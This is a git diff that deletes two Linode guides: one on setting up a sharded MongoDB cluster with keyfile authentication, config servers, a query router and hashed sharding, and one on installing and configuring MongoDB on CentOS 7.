'[MongoDB Documentation for Replica Sets](https://docs.mongodb.com/manual/reference/replica-configuration/)' - - '[MongoDB Documentation for Master-Slave Replication](https://docs.mongodb.com/manual/core/master-slave/)' - - '[MongoDB Documentation for Sharding](https://docs.mongodb.com/manual/sharding/)' - - '[MongoDB Documentation for Auto Sharding Configuration](https://docs.mongodb.com/manual/sharding/)' - - '[Configure MongoDB for SSL/TLS](https://docs.mongodb.com/manual/tutorial/configure-ssl/)' -tags: ["ubuntu","database","nosql","centos","gaming"] ---- - -MongoDB is a leading non-relational database management system, and a prominent member of the [NoSQL](https://en.wikipedia.org/wiki/NoSQL) movement. Rather than using the tables and fixed schemas of a relational database management system (RDBMS), MongoDB uses key-value storage in collection of documents. It also supports a number of options for horizontal scaling in large, production environments. In this guide, we'll explain how to set up a *sharded cluster* for highly available distributed datasets. - -!["Build Database Clusters with MongoDB"](build-database-clusters-with-mongodb.png "Build Database Clusters with MongoDB") - -There are two broad categories of scaling strategies for data. *Vertical scaling* involves adding more resources to a server so that it can handle larger datasets. The upside is that the process is usually as simple as migrating the database, but it often involves downtime and is difficult to automate. *Horizontal scaling* involves adding more servers to increase the resources, and is generally preferred in configurations that use fast-growing, dynamic datasets. Because it is based on the concept of adding more servers, not more resources on one server, datasets often need to be broken into parts and distributed across the servers. Sharding refers to the breaking up of data into subsets so that it can be stored on separate database servers (a sharded cluster). - -The commands and filepaths in this guide are based on those used in Ubuntu 16.04 (Xenial). However, the configuration is the same for any system running MongoDB 4.2. To use this guide with a Linode running CentOS 7, for example, simply adjust the distro-specific commands and configuration files accordingly. - -## Before You Begin - -1. If you have not already done so, create a Linode account and *at least 6* Compute Instances. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. We recommend choosing hostnames that correspond with each Linode's role in the cluster, explained in the next section. - -1. Follow our guides to [install MongoDB](/cloud/guides/databases/mongodb/) on each Linode you want to use in your cluster. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, see the [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Cluster Architecture - -Before we get started, let's review the components of the setup we'll be creating: - -- **Config Server** - This stores metadata and configuration settings for the rest of the cluster. In this guide, we'll use one config server for simplicity but in production environments, this should be a replica set of at least three Linodes. -- **Query Router** - The `mongos` daemon acts as an interface between the client application and the cluster shards. Since data is distributed among multiple servers, queries need to be routed to the shard where a given piece of information is stored. The query router is run on the application server. In this guide, we'll only be using one query router, although you should put one on each application server in your cluster. -- **Shard** - A shard is simply a database server that holds a portion of your data. Items in the database are divided among shards either by range or hashing, which we'll explain later in this guide. For simplicity, we'll use two single-server shards in our example. - -!["A sharded MongoDB cluster"](mongodb-cluster-diagram.png "A sharded MongoDB cluster") - -The problem in this configuration is that if one of the shard servers experiences downtime, a portion of your data will become unavailable. To avoid this, you can use [replica sets](https://docs.mongodb.com/manual/reference/replica-configuration/) for each shard to ensure high availability. For more information, refer to our guide on [creating MongoDB replica sets](/cloud/guides/create-a-mongodb-replica-set/). - -## Configure Hosts File - -If your Linodes are all located in the same data center, we recommend [adding a private IP address](https://techdocs.akamai.com/cloud-computing/docs/managing-ip-addresses-on-a-compute-instance#adding-an-ip-address) for each one and using those here to avoid transmitting data over the public internet. If you don't use private IP addresses, be sure to [encrypt your data with SSL/TLS](https://docs.mongodb.com/manual/tutorial/configure-ssl/). - -On each Linode in your cluster, add the following to the `/etc/hosts` file: - -{{< file "/etc/hosts" >}} -192.0.2.1 mongo-config-1 -192.0.2.2 mongo-config-2 -192.0.2.3 mongo-config-3 -192.0.2.4 mongo-query-router -192.0.2.5 mongo-shard-1 -192.0.2.6 mongo-shard-2 - -{{< /file >}} - - -Replace the IP addresses above with the IP addresses for each Linode. Also substitute the hostnames of the Linodes in your cluster for the hostnames above. - -{{< note >}} -You may also configure DNS records for each host rather than using hosts file entries. However, be aware that public DNS servers, such as the ones used when configuring records in the [DNS Manager](https://techdocs.akamai.com/cloud-computing/docs/dns-manager), only support public IP addresses. -{{< /note >}} - -## Set Up MongoDB Authentication - -In this section you'll create a key file that will be used to secure authentication between the members of your replica set. While in this example you'll be using a key file generated with `openssl`, MongoDB recommends using an [X.509 certificate](https://docs.mongodb.com/manual/core/security-x.509/) to secure connections between production systems. - -### Create an Administrative User - -1. On the Linode that you intend to use as the *primary* member of your replica set of config servers, log in to the `mongo` shell: - - mongo - -2. Connect to the `admin` database: - - use admin - -3. Create an administrative user with `root` privileges. Replace "password" with a strong password of your choice: - - db.createUser({user: "mongo-admin", pwd: "password", roles:[{role: "root", db: "admin"}]}) - -### Generate a Key file - -1. Issue this command to generate your key file: - - openssl rand -base64 756 > mongo-keyfile - - Once you've generated the key, copy it to each member of your replica set. - -2. The rest of the steps in this section should be performed on each member of the replica set, so that they all have the key file located in the same directory, with identical permissions. Create the `/opt/mongo` directory to store your key file: - - sudo mkdir /opt/mongo - -3. Assuming that your key file is under the home directory for your user, move it to `/opt/mongo`, and assign it the correct permissions: - - sudo mv ~/mongo-keyfile /opt/mongo - sudo chmod 400 /opt/mongo/mongo-keyfile - -4. Update the ownership of your key file, so that it belongs to the MongoDB user. Use the appropriate command for your distribution: - - **Ubuntu / Debian:** - - sudo chown mongodb:mongodb /opt/mongo/mongo-keyfile - - **CentOS:** - - sudo chown mongod:mongod /opt/mongo/mongo-keyfile - -5. Once you've added your key file, uncomment the `Security` section of the `/etc/mongod.conf` file on each of your Linodes, and add the following value: - - security: - keyFile: /opt/mongo/mongo-keyfile - - To apply the change, restart `mongod`: - - sudo systemctl restart mongod - - You can skip this step on your query router, since you'll create a separate configuration file for it later in this guide. Note that key file authentication automatically enables [role-based access control](https://docs.mongodb.com/manual/core/authorization/), so you will need to [create users](/cloud/guides/install-mongodb-on-ubuntu-16-04/#create-database-users) and assign them the necessary privileges to access databases. - -## Initialize Config Servers - -In this section, we'll create a replica set of config servers. The config servers store metadata for the states and organization of your data. This includes information about the locations of data *chunks*, which is important since the data will be distributed across multiple shards. - -Rather than using a single config server, we'll use a replica set to ensure the integrity of the metadata. This enables master-slave (primary-secondary) replication among the three servers and automates failover so that if your primary config server is down, a new one will be elected and requests will continue to be processed. - -The steps below should be performed on each config server individually, unless otherwise specified. - -1. On each config server, modify the following values in `/etc/mongod.conf`: - - {{< file "/etc/mongod.conf" >}} -port: 27019 -bindIp: 192.0.2.1 - -{{< /file >}} - - - The `bindIp` address should match the IP address you configured for each config server in your hosts file in the previous section. This should be a private IP address unless you've configured SSL/TLS encryption. - -2. Uncomment the `replication` section and add the `replSetName` directive below it to create a replica set for your config servers: - - {{< file "/etc/mongod.conf" >}} -replication: - replSetName: configReplSet - -{{< /file >}} - - - `configReplSet` is the name of the replica set to be configured. This value can be modified, but we recommend using a descriptive name to help you keep track of your replica sets. - -3. Uncomment the `sharding` section and configure the host's role in the cluster as a config server: - - {{< file "/etc/mongod.conf" >}} -sharding: - clusterRole: "configsvr" - -{{< /file >}} - - -4. Restart the `mongod` service once these changes have been made: - - sudo systemctl restart mongod - -5. On *one* of your config server Linodes, connect to the MongoDB shell over port 27019 with your administrative user: - - mongo mongo-config-1:27019 -u mongo-admin -p --authenticationDatabase admin - - Modify the hostname to match your own if you used a different naming convention than our example. We're connecting to the `mongo` shell on the first config server in this example, but you can connect to any of the config servers in your cluster since we'll be adding each host from the same connection. - -6. From the `mongo` shell, initialize the replica set: - - rs.initiate( { _id: "configReplSet", configsvr: true, members: [ { _id: 0, host: "mongo-config-1:27019" }, { _id: 1, host: "mongo-config-2:27019" }, { _id: 2, host: "mongo-config-3:27019" } ] } ) - - Substitute your own hostnames if applicable. You should see a message indicating the operation succeeded: - - { "ok" : 1 } - -7. Notice that the MongoDB shell prompt has now changed to `configReplSet:PRIMARY>` or `configReplSet:SECONDARY>`, depending on which Linode you used to run the previous commands. To further verify that each host has been added to the replica set: - - rs.status() - - If the replica set has been configured properly, you'll see output similar to the following: - - configReplSet:SECONDARY> rs.status() - { - "set" : "configReplSet", - "date" : ISODate("2016-11-22T14:11:18.382Z"), - "myState" : 1, - "term" : NumberLong(1), - "configsvr" : true, - "heartbeatIntervalMillis" : NumberLong(2000), - "members" : [ - { - "_id" : 0, - "name" : "mongo-config-1:27019", - "health" : 1, - "state" : 1, - "stateStr" : "PRIMARY", - "uptime" : 272, - "optime" : { - "ts" : Timestamp(1479823872, 1), - "t" : NumberLong(1) - }, - "optimeDate" : ISODate("2016-11-22T14:11:12Z"), - "infoMessage" : "could not find member to sync from", - "electionTime" : Timestamp(1479823871, 1), - "electionDate" : ISODate("2016-11-22T14:11:11Z"), - "configVersion" : 1, - "self" : true - }, - { - "_id" : 1, - "name" : "mongo-config-2:27019", - "health" : 1, - "state" : 2, - "stateStr" : "SECONDARY", - "uptime" : 17, - "optime" : { - "ts" : Timestamp(1479823872, 1), - "t" : NumberLong(1) - }, - "optimeDate" : ISODate("2016-11-22T14:11:12Z"), - "lastHeartbeat" : ISODate("2016-11-22T14:11:17.758Z"), - "lastHeartbeatRecv" : ISODate("2016-11-22T14:11:14.283Z"), - "pingMs" : NumberLong(1), - "syncingTo" : "mongo-config-1:27019", - "configVersion" : 1 - }, - { - "_id" : 2, - "name" : "mongo-config-3:27019", - "health" : 1, - "state" : 2, - "stateStr" : "SECONDARY", - "uptime" : 17, - "optime" : { - "ts" : Timestamp(1479823872, 1), - "t" : NumberLong(1) - }, - "optimeDate" : ISODate("2016-11-22T14:11:12Z"), - "lastHeartbeat" : ISODate("2016-11-22T14:11:17.755Z"), - "lastHeartbeatRecv" : ISODate("2016-11-22T14:11:14.276Z"), - "pingMs" : NumberLong(0), - "syncingTo" : "mongo-config-1:27019", - "configVersion" : 1 - } - ], - "ok" : 1 - } - -## Configure Query Router - -In this section, we'll set up the MongoDB query router. The query router obtains metadata from the config servers, caches it, and uses that metadata to send read and write queries to the correct shards. - -All steps here should be performed from your query router Linode (this will be the same as your application server). Since we're only configuring one query router, we'll only need to do this once. However, it's also possible to use a replica set of query routers. If you're using more than one (i.e., in a high availability setup), perform these steps on each query router Linode. - -1. Create a new configuration file called `/etc/mongos.conf`, and supply the following values: - - {{< file "/etc/mongos.conf" >}} -# where to write logging data. -systemLog: -destination: file -logAppend: true -path: /var/log/mongodb/mongos.log - -# network interfaces -net: -port: 27017 -bindIp: 192.0.2.4 - -security: -keyFile: /opt/mongo/mongodb-keyfile - -sharding: -configDB: configReplSet/mongo-config-1:27019,mongo-config-2:27019,mongo-config-3:27019 - -{{< /file >}} - - - Replace `192.0.2.4` with your router Linode's private IP address, and save the file. - -2. Create a new systemd unit file for `mongos` called `/lib/systemd/system/mongos.service`, with the following information: - - {{< file "/lib/systemd/system/mongos.service" >}} -[Unit] -Description=Mongo Cluster Router -After=network.target - -[Service] -User=mongodb -Group=mongodb -ExecStart=/usr/bin/mongos --config /etc/mongos.conf -# file size -LimitFSIZE=infinity -# cpu time -LimitCPU=infinity -# virtual memory size -LimitAS=infinity -# open files -LimitNOFILE=64000 -# processes/threads -LimitNPROC=64000 -# total threads (user+kernel) -TasksMax=infinity -TasksAccounting=false - -[Install] -WantedBy=multi-user.target - -{{< /file >}} - - - Note that the above example uses the `mongodb` user that MongoDB runs as by default on Ubuntu and Debian. If you're using CentOS, substitute the following values under the `Service` section of the file: - - [Service] - User=mongod - Group=mongod - -2. The `mongos` service needs to obtain data locks that conflicts with `mongod`, so be sure `mongod` is stopped before proceeding: - - sudo systemctl stop mongod - -3. Enable `mongos.service` so that it automatically starts on reboot, and then initialize the `mongos`: - - sudo systemctl enable mongos.service - sudo systemctl start mongos - -4. Confirm that `mongos` is running: - - systemctl status mongos - - You should see output similar to this: - - Loaded: loaded (/lib/systemd/system/mongos.service; enabled; vendor preset: enabled) - Active: active (running) since Tue 2017-01-31 19:43:05 UTC; 10s ago - Main PID: 3901 (mongos) - CGroup: /system.slice/mongos.service - └─3901 /usr/bin/mongos --config /etc/mongos.conf - -## Add Shards to the Cluster - -Now that the query router is able to communicate with the config servers, we must enable sharding so that the query router knows which servers will host the distributed data and where any given piece of data is located. - -1. Log into *each* of your shard servers and change the following line in the MongoDB configuration file: - - {{< file "/etc/mongod.conf" >}} -bindIp: 192.0.2.5 - -{{< /file >}} - - - The IP address in this line should be changed to the address corresponding with the one in your hosts file (since that's where address resolution will take place in our setup). For example, if you're using private IP addresses to connect your shards to the query router, use your private IP address. If you've configured SSL/TLS encryption and plan to use public IP addresses, use those. - -2. From *one* of your shard servers, connect to the query router we configured above: - - mongo mongo-query-router:27017 -u mongo-admin -p --authenticationDatabase admin - - If your query router has a different hostname, substitute that in the command. - -3. From the `mongos` interface, add each shard individually: - - sh.addShard( "mongo-shard-1:27017" ) - sh.addShard( "mongo-shard-2:27017" ) - - These steps can all be done from a single `mongos` connection; you don't need to log into each shard individually and make the connection to add a new shard. If you're using more than two shards, you can use this format to add more shards as well. Be sure to modify the hostnames in the above command if appropriate. - -4. Optionally, if you configured [replica sets](/cloud/guides/create-a-mongodb-replica-set/) for each shard instead of single servers, you can add them at this stage with a similar command: - - sh.addShard( "rs0/mongo-repl-1:27017,mongo-repl-2:27017,mongo-repl-3:27017" ) - - In this format, `rs0` is the name of the replica set for the first shard, `mongo-repl-1` is the name of the first host in the shard (using port `27017`), and so on. You'll need to run the above command separately for each individual replica set. - - {{< note respectIndent=false >}} -Before adding replica sets as shards, you must first configure the replica sets themselves. -{{< /note >}} - -## Configure Sharding - -At this stage, the components of your cluster are all connected and communicating with one another. The final step is to enable sharding. Enabling sharding takes place in stages due to the organization of data in MongoDB. To understand how data will be distributed, let's briefly review the main data structures: - -- **Databases** - The broadest data structure in MongoDB, used to hold groups of related data. -- **Collections** - Analogous to tables in traditional relational database systems, collections are the data structures that comprise databases -- **Documents** - The most basic unit of data storage in MongoDB. Documents use JSON format for storing data using key-value pairs that can be queried by applications - -### Enable Sharding at Database Level - -First, we'll enable sharding at the database level, which means that collections in a given database can be distributed among different shards. - -1. Access the `mongos` shell on your query router. This can be done from any server in your cluster: - - mongo mongo-query-router:27017 -u mongo-admin -p --authenticationDatabase admin - - If applicable, substitute your own query router's hostname. - -2. From the `mongos` shell, create a new database. We'll call ours `exampleDB`: - - use exampleDB - -3. Enable sharding on the new database: - - sh.enableSharding("exampleDB") - -4. To verify that the sharding was successful, first switch to the `config` database: - - use config - - Next, run a `find()` method on your databases: - - db.databases.find() - - This will return a list of all databases with some information about them. In our case, there should be only one entry for the `exampleDB` database we just created: - - { "_id" : "exampleDB", "primary" : "shard0001", "partitioned" : true } - -### Sharding Strategy - -Before we enable sharding for a collection, we'll need to decide on a *sharding strategy*. When data is distributed among the shards, MongoDB needs a way to sort it and know which data is on which shard. To do this, it uses a *shard key*, a designated field in your documents that is used by the `mongos` query router know where a given piece of data is stored. The two most common sharding strategies are range-based and hash-based. - -**Range-based sharding** divides your data based on specific ranges of values in the shard key. For example, you may have a collection of customers and associated address. If you use range-based sharding, the ZIP code may be a good choice for the shard key. This would distribute customers in a specified range of ZIP codes on the same shard. This may be a good strategy if your application will be running queries to find customers near each other when planning deliveries, for example. The downside to this is if your customers are not evenly distributed geographically, your data storage may rely too heavily on one shard, so it's important to analyze your data carefully before choosing a shard key. Another important factor to consider is what kinds of queries you'll be running, however. When properly utilized, range-base sharding is generally a better option when your application will be performing many complex read queries. - -**Hash-based sharding** distributes data by using a hash function on your shard key for a more even distribution of data among the shards. Suppose again that you have a collection of customers and addresses. In a hash-based sharding setup, you may choose a customer ID number, for example, as the shard key. This number is transformed by a hash function, and the results of the hashing are what determines which shard the data is stored on. Hash-based sharding is a good strategy in situations where your application will mostly perform write operations, or if your application needs only to run simple read queries like looking up only a few specific customers at a time. - -This is not intended to be a comprehensive guide to choosing a sharding strategy. Before making this decision for a production cluster, be sure to analyze your dataset, computing resources, and the queries your application will run. For more information, refer to [MongoDB's documentation on sharding](https://docs.mongodb.com/manual/sharding/). - -### Enable Sharding at Collection Level - -Now that the database is available for sharding and we've chosen a strategy, we need to enable sharding at the collections level. This allows the documents within a collection to be distributed among your shards. We'll use a hash-based sharding strategy for simplicity. - -{{< note >}} -It's not always necessary to shard every collection in a database. Depending on what data each collection contains, it may be more efficient to store certain collections in one location since database queries to a single shard are faster. Before sharding a collection, carefully analyze its anticipated contents and the ways it will be used by your application. -{{< /note >}} - -1. Connect to the `mongo` shell on your query router if you're not already there: - - mongo mongo-query-router:27017 -u mongo-admin -p --authenticationDatabase admin - -2. Switch to the `exampleDB` database we created previously: - - use exampleDB - -3. Create a new collection called `exampleCollection` and hash its `_id` key. The `_id` key is already created by default as a basic index for new documents: - - db.exampleCollection.ensureIndex( { _id : "hashed" } ) - -4. Finally, shard the collection: - - sh.shardCollection( "exampleDB.exampleCollection", { "_id" : "hashed" } ) - - This enables sharding across any shards that you added to your cluster in the [Add Shards to the Cluster](#add-shards-to-the-cluster) section. - -## Test Your Cluster - -This section is optional. To ensure your data is being distributed evenly in the example database and collection we configured above, you can follow these steps to generate some basic test data and see how it is divided among the shards. - -1. Connect to the `mongo` shell on your query router if you're not already there: - - mongo mongo-query-router:27017 -u mongo-admin -p --authenticationDatabase admin - -2. Switch to your `exampleDB` database: - - use exampleDB - -3. Run the following code in the `mongo` shell to generate 500 simple documents and insert them into `exampleCollection`: - - for (var i = 1; i <= 500; i++) db.exampleCollection.insert( { x : i } ) - -4. Check your data distribution: - - db.exampleCollection.getShardDistribution() - - This will output information similar to the following: - - Shard shard0000 at mongo-shard-1:27017 - data : 8KiB docs : 265 chunks : 2 - estimated data per chunk : 4KiB - estimated docs per chunk : 132 - - Shard shard0001 at mongo-shard-2:27017 - data : 7KiB docs : 235 chunks : 2 - estimated data per chunk : 3KiB - estimated docs per chunk : 117 - - Totals - data : 16KiB docs : 500 chunks : 4 - Shard shard0000 contains 53% data, 53% docs in cluster, avg obj size on shard : 33B - Shard shard0001 contains 47% data, 47% docs in cluster, avg obj size on shard : 33B - - The sections beginning with `Shard` give information about each shard in your cluster. Since we only added two shards there are only two sections, but if you add more shards to the cluster, they'll show up here as well. The `Totals` section provides information about the collection as a whole, including its distribution among the shards. Notice that distribution is not perfectly equal. The hash function does not guarantee absolutely even distribution, but with a carefully chosen shard key it will usually be fairly close. - -5. When you're finished, delete the test data: - - db.dropDatabase() - -## Next Steps - -Before using your cluster in a production environment, it's important to configure a firewall to limit ports 27017 and 27019 to only accept traffic between hosts within your cluster. Additional firewall configuration will likely be needed depending on the other services you're running. For more information, consult our [firewall guides](/cloud/guides/security/firewalls/). - -You may also want to create a master disk image consisting of a full MongoDB installation and whatever configuration settings your application requires. By doing so, you can use the Linode Manager to dynamically scale your cluster as your data storage needs grow. You may also do this from the [Linode CLI](https://techdocs.akamai.com/cloud-computing/docs/getting-started-with-the-linode-cli) if you'd like to automate the process. For more information, see our guide on [Linode Images](https://techdocs.akamai.com/cloud-computing/docs/images). diff --git a/docs/guides/databases/mongodb/install-mongodb-on-centos-7/index.md b/docs/guides/databases/mongodb/install-mongodb-on-centos-7/index.md deleted file mode 100644 index 36ecf5f2df9..00000000000 --- a/docs/guides/databases/mongodb/install-mongodb-on-centos-7/index.md +++ /dev/null @@ -1,268 +0,0 @@ ---- -slug: install-mongodb-on-centos-7 -title: 'Installing MongoDB on CentOS 7' -title_meta: 'How To Install MongoDB on CentOS 7' -description: 'This guide shows how to install MongoDB, a document-oriented NoSQL database solution, on a server running CentOS 7.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2016-12-30 -keywords: ["nosql", "database", "mongodb", "key store", "ubuntu", "mongodb tutorial"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Official MongoDB Documentation](https://docs.mongodb.com/manual/)' - - '[MongoDB Project](https://www.mongodb.com/)' - - '[Language-Specific MongoDB Drivers](https://docs.mongodb.com/ecosystem/drivers/)' -relations: - platform: - key: how-to-install-mongodb - keywords: - - distribution: CentOS 7 -tags: ["nosql","database","centos"] -aliases: ['/databases/mongodb/install-mongodb-on-centos-7/'] ---- - -In this MongoDB tutorial, we explain how to install the database on CentOS 7, and then provide a short guide on some basic features and functions. - -![Install MongoDB on CentOS 7](install-mongodb-centos-7-title.png "Install MongoDB on CentOS 7") - -MongoDB is a database engine that provides access to non-relational, document-oriented databases. It is part of the growing [NoSQL](https://en.wikipedia.org/wiki/NoSQL) movement, along with databases like Redis and Cassandra (although there are vast differences among the many non-relational databases). - -MongoDB seeks to provide an alternative to traditional relational database management systems (RDBMS). In addition to its schema-free design and scalable architecture, MongoDB provides a JSON output and specialized, language-specific bindings that make it particularly attractive for use in custom application development and rapid prototyping. MongoDB has been used in a number of large scale [production deployments](https://www.mongodb.com/community/deployments) and is currently one of the most popular database engines across all systems. - -Since MongoDB can require a significant amount of RAM, we recommend using a [high memory Linode](https://www.linode.com/pricing/high-memory) with this guide. - -## Before You Begin - -- Familiarize yourself with our [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide and complete the steps for setting your Linode's hostname and timezone. - -- Complete the sections of our [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) to create a standard user account, harden SSH access and remove unnecessary network services. - -- Update your system: - - sudo yum update - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Add the MongoDB Repository - -The most current stable version of MongoDB is 4.2 and, as of this writing, the default CentOS 7 repository does not contain a package for it. Instead, we'll need to use the MongoDB repository. - -Create a new file, `/etc/yum.repos.d/mongodb-org-4.2.repo`, so that you can install the latest release using `yum`. Add the following contents to the file: - -{{< file "/etc/yum.repos.d/mongodb-org-4.2.repo" >}} -[mongodb-org-4.2] -name=MongoDB Repository -baseurl=https://repo.mongodb.org/yum/redhat/$releasever/mongodb-org/4.2/x86_64/ -gpgcheck=1 -enabled=1 -gpgkey=https://www.mongodb.org/static/pgp/server-4.2.asc - -{{< /file >}} - - -## Install MongoDB - -Now that the MongoDB repository has been added, we're ready to install the latest stable version of MongoDB: - - sudo yum install mongodb-org - -This command installs `mongodb-org`, a meta-package that includes the following: - -- `mongodb-org-server` - The standard MongoDB daemon, and relevant init scripts and configurations -- `mongodb-org-mongos` - The MongoDB Shard daemon -- `mongodb-org-shell` - The MongoDB shell, used to interact with MongoDB via the command line -- `mongodb-org-tools` - Contains a few basic tools to restore, import, and export data, as well as other diverse functions. - -These packages provide a good base that will serve most use cases, and we recommend installing them all. However, if you want a more minified installation, you can selectively install packages from the above list rather than use the `mongodb-org` metapackage. - -For more information on the installation process and options, refer to the [official MongoDB installation tutorial](https://docs.mongodb.com/manual/tutorial/install-mongodb-on-red-hat/). - -## Configure MongoDB - -The configuration file for MongoDB is located at `/etc/mongod.conf`, and is written in YAML format. Most of the settings are well commented within the file. We've outlined the default options below: - -- `systemLog` specifies the various logging options, explained below: - - `destination` tells MongoDB whether to store the log output as a file or syslog - - `logAppend` specifies whether to append new entries to the end of an existing log when the daemon restarts (as opposed to creating a backup and starting a new log upon restarting) - - `path` tells the daemon where to send its logging information (`/var/log/mongodb/mongod.log` by default) -- `storage` specifies the settings that tell MongoDB how to store data, which we'll explain below: - - `dbPath` indicates where the database files will be stored (`/var/lib/mongo` by default) - - `journal.enabled` enables or disables the journal, which ensures that data files are recoverable -- `net` specifies the various network options, explained below: - - `port` is the port on which the MongoDB daemon will listen - - `bindIP` specifies the IP addresses to which MongoDB binds, so it can listen for connections from other applications - -These are only a few basic configuration options that are set by default. - -We **strongly** recommend uncommenting the `security` section and adding the following: - -{{< file "/etc/mongod.conf" >}} -security: - authorization: enabled - -{{< /file >}} - - -The `authorization` option enables [role-based access control](https://docs.mongodb.com/manual/core/authorization/) for your databases. If no value is specified, any user will have the ability to modify any database. We'll explain how to create database users and set their permissions later in this guide. - -For more information on how to customize these and other values in your configuration file, refer to the [official MongoDB configuration tutorial](https://docs.mongodb.com/manual/reference/configuration-options/). - -After making changes to the MongoDB configuration file, restart the service as shown in the following section. - -### Increase User Limits - -Issue the following commands to increase your open file and process limits for MongoDB: - - echo "mongod soft nofiles 64000" >> /etc/security/limits.conf - echo "mongod soft nproc 64000" >> /etc/security/limits.conf - -These are the [recommended](https://docs.mongodb.com/manual/reference/ulimit/#recommended-ulimit-settings) settings, but you may need to adjust them depending upon your individual usage. See the [MongoDB Documentation](https://docs.mongodb.com/manual/reference/ulimit/) for more information. - -## Start and Stop MongoDB - -To start, restart, or stop the MongoDB service, issue the appropriate command from the following: - - sudo systemctl start mongod - sudo systemctl restart mongod - sudo systemctl stop mongod - -You can also enable MongoDB to start on boot: - - sudo systemctl enable mongod - -## Create Database Users - -If you enabled role-based access control in the [Configure MongoDB](#configure-mongodb) section, create a user administrator with credentials for use on the database: - -1. Open the `mongo` shell: - - mongo - -2. By default, MongoDB connects to a database called `test`. Before adding any users, create a database to store user data for authentication: - - use admin - -3. Use the following command to create an administrative user with the ability to create other users on any database. For better security, change the values `mongo-admin` and `password`: - - db.createUser({user: "mongo-admin", pwd: "password", roles:[{role: "userAdminAnyDatabase", db: "admin"}]}) - - Keep these credentials in a safe place for future reference. The output will display all the information written to the database except the password: - - Successfully added user: { - "user" : "mongo-admin", - "roles" : [ - { - "role" : "userAdminAnyDatabase", - "db" : "admin" - } - ] - } - -4. Exit the mongo shell: - - quit() - -5. Test your connection to MongoDB with the credentials created in Step 3, using the `admin` database for authentication: - - mongo -u mongo-admin -p --authenticationDatabase admin - - The `-u`, `-p`, and `--authenticationDatabase` options in the above command are required in order to authenticate connections to the shell. Without authentication, the MongoDB shell can be accessed but will not allow connections to databases. - - The `mongo-admin` user created in Step 3 is purely administrative based on the roles specified. It is defined as an administrator of user for all databases but does not have any database permissions itself. You may use it to create additional users and define their roles. If you are using multiple applications with MongoDB, set up different users with custom permissions for their corresponding databases. - -6. As the `mongo-admin` user, create a new database to store regular user data for authentication. The following example calls this database `user-data`: - - use user-data - -7. Permissions for different databases are handled in separate `roles` objects. This example creates the user, `example-user`, with read-only permissions for the `user-data` database and has read and write permissions for the `exampleDB` database that we'll create in the [Manage Data and Collections](#manage-data-and-collections) section below. - - Create a new, non-administrative user to enter test data. Change both `example-user` and `password` to something relevant and secure: - - db.createUser({user: "example-user", pwd: "password", roles:[{role: "read", db: "user-data"}, {role:"readWrite", db: "exampleDB"}]}) - - To create additional users, repeat Steps 6 and 7 as the administrative user, creating new usernames, passwords and roles by substituting the appropriate values. - -8. Exit the mongo shell: - - quit() - -For more information on access control and user management, as well as other tips on securing your databases, refer to the [MongoDB Security Documentation](https://docs.mongodb.com/manual/security). - -## Manage Data and Collections - -Much of MongoDB's popularity comes from its ease of integration. Interactions with databases are done via JavaScript methods, but [drivers for other languages](https://docs.mongodb.com/ecosystem/drivers/) are available. This section will demonstrate a few basic features, but we encourage you to do further research based on your specific use case. - -1. Open the MongoDB shell using the `example-user` we created above: - - mongo -u example-user -p --authenticationDatabase user-data - -2. Create a new database. This example calls it `exampleDB`: - - use exampleDB - - Make sure that this database name corresponds with the one for which the user has read and write permissions (we added these permissions in Step 7 of the previous section). - - To show the name of the current working database, run the `db` command. - -3. Create a new *collection* called `exampleCollection`: - - db.createCollection("exampleCollection", {capped: false}) - - If you're not familiar with MongoDB terminology, you can think of a collection as analogous to a table in a relational database management system. For more information on creating new collections, see the MongoDB documentation on the [db.createCollection() method](https://docs.mongodb.com/manual/reference/method/db.createCollection/). - - {{< note respectIndent=false >}} -Collection names should not include certain punctuation such as hyphens. However, exceptions may not be raised until you attempt to use or modify the collection. For more information, refer to MongoDB's [naming restrictions](https://docs.mongodb.com/manual/reference/limits/#naming-restrictions). -{{< /note >}} - -4. Create sample data for entry into the test database. MongoDB accepts input as *documents* in the form of JSON objects such as those below. The `a` and `b` variables are used to simplify entry; objects can be inserted directly via functions as well. - - var a = { name : "John Doe", attributes: { age : 30, address : "123 Main St", phone : 8675309 }} - var b = { name : "Jane Doe", attributes: { age : 29, address : "321 Main Rd", favorites : { food : "Spaghetti", animal : "Dog" } }} - - Note that documents inserted into a collection need not have the same schema, which is one of many benefits of using a NoSQL database. - -5. Insert the data into `exampleCollection`, using the `insert` method: - - db.exampleCollection.insert(a) - db.exampleCollection.insert(b) - - The output for each of these operations will show the number of objects successfully written to the current working database: - - WriteResult({ "nInserted" : 1 }) - -6. Confirm that the `exampleCollection` collection was properly created: - - show collections - - The output will list all collections containing data within the current working database: - - exampleCollection - -7. View unfiltered data in the `exampleCollection` collection using the `find` method. This returns up to the first 20 documents in a collection, if a query is not passed: - - db.exampleCollection.find() - - The output will resemble the following: - - { "_id" : ObjectId("571a3e7507d0fcd78baef08f"), "name" : "John Doe" } - { "_id" : ObjectId("571a3e8707d0fcd78baef090"), "age" : 30 } - - You may notice the objects we entered are preceded by `_id` keys and `ObjectId` values. These are unique indexes generated by MongoDB when an `_id` value is not explicitly defined. `ObjectId` values can be used as primary keys when entering queries, although for ease of use, you may wish to create your own index as you would with any other database system. - - The `find` method can also be used to search for a specific document or field by entering a search term parameter (in the form of an object) rather than leaving it empty. For example: - - db.exampleCollection.find({"name" : "John Doe"}) - - Running the command above returns a list of documents containing the `{"name" : "John Doe"}` object. - -## Additional MongoDB Functionality - -As noted above, MongoDB has an available collection of language-specific drivers that can be used to interact with your databases from within non-JavaScript applications. One advantage these drivers provide is the ability to allow 